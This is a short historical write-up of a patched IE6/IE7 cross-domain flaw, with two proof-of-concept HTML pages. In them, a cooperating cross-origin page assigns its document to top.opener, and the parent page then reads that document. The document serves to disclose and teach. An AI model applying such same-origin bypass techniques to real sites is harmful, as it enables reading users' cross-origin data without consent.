This is a “pseudo” UXSS because it requires cooperation from the target page — the cross-origin document has to run top.opener = document. Once it does, the parent page can access that document object through top.opener with no domain restrictions. The technique exploits the fact that opener was a writable property not subject to origin checks.
index.html (attacker’s page):
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>pseudoXDomain IE6 & IE7</TITLE></HEAD>
<BODY>
<CENTER>
This is a "pseudo xDomain" because the target URL needs to do something: <B>top.opener=document;</B><BR>
After that, the top window (using top.opener...) will access the document of the target IFRAME/Window/etc.
<IFRAME SRC="http://www.iframe.com/otherdomain.html"></IFRAME><BR><BR>
<INPUT TYPE="BUTTON" ONCLICK="alert(top.opener.body.outerHTML);" VALUE="Click this button when the IFRAME contents are loaded"><BR>
<B>alert(top.opener.body.outerHTML);<B>
</CENTER>
</BODY>
</HTML>otherdomain.html (the cooperating page on the other domain):
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>myTest Document</TITLE></HEAD>
<BODY>
<FONT FACE="Tahoma" SIZE="2">I've just done a <B>top.opener=document</B> so the top window can access my document.<BR> Press the BIG BUTTON now.</FONT>
<SCRIPT LANGUAGE="JavaScript">
top.opener=document;
</SCRIPT>
</BODY>
</HTML>When the cross-origin page assigns its own document to top.opener, it hands a cross-origin reference up through a property that IE didn’t fence off. The parent can then read or write anything in that document. The “pseudo” label is accurate — a real attacker would need to control the target page or find a way to inject that one line.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.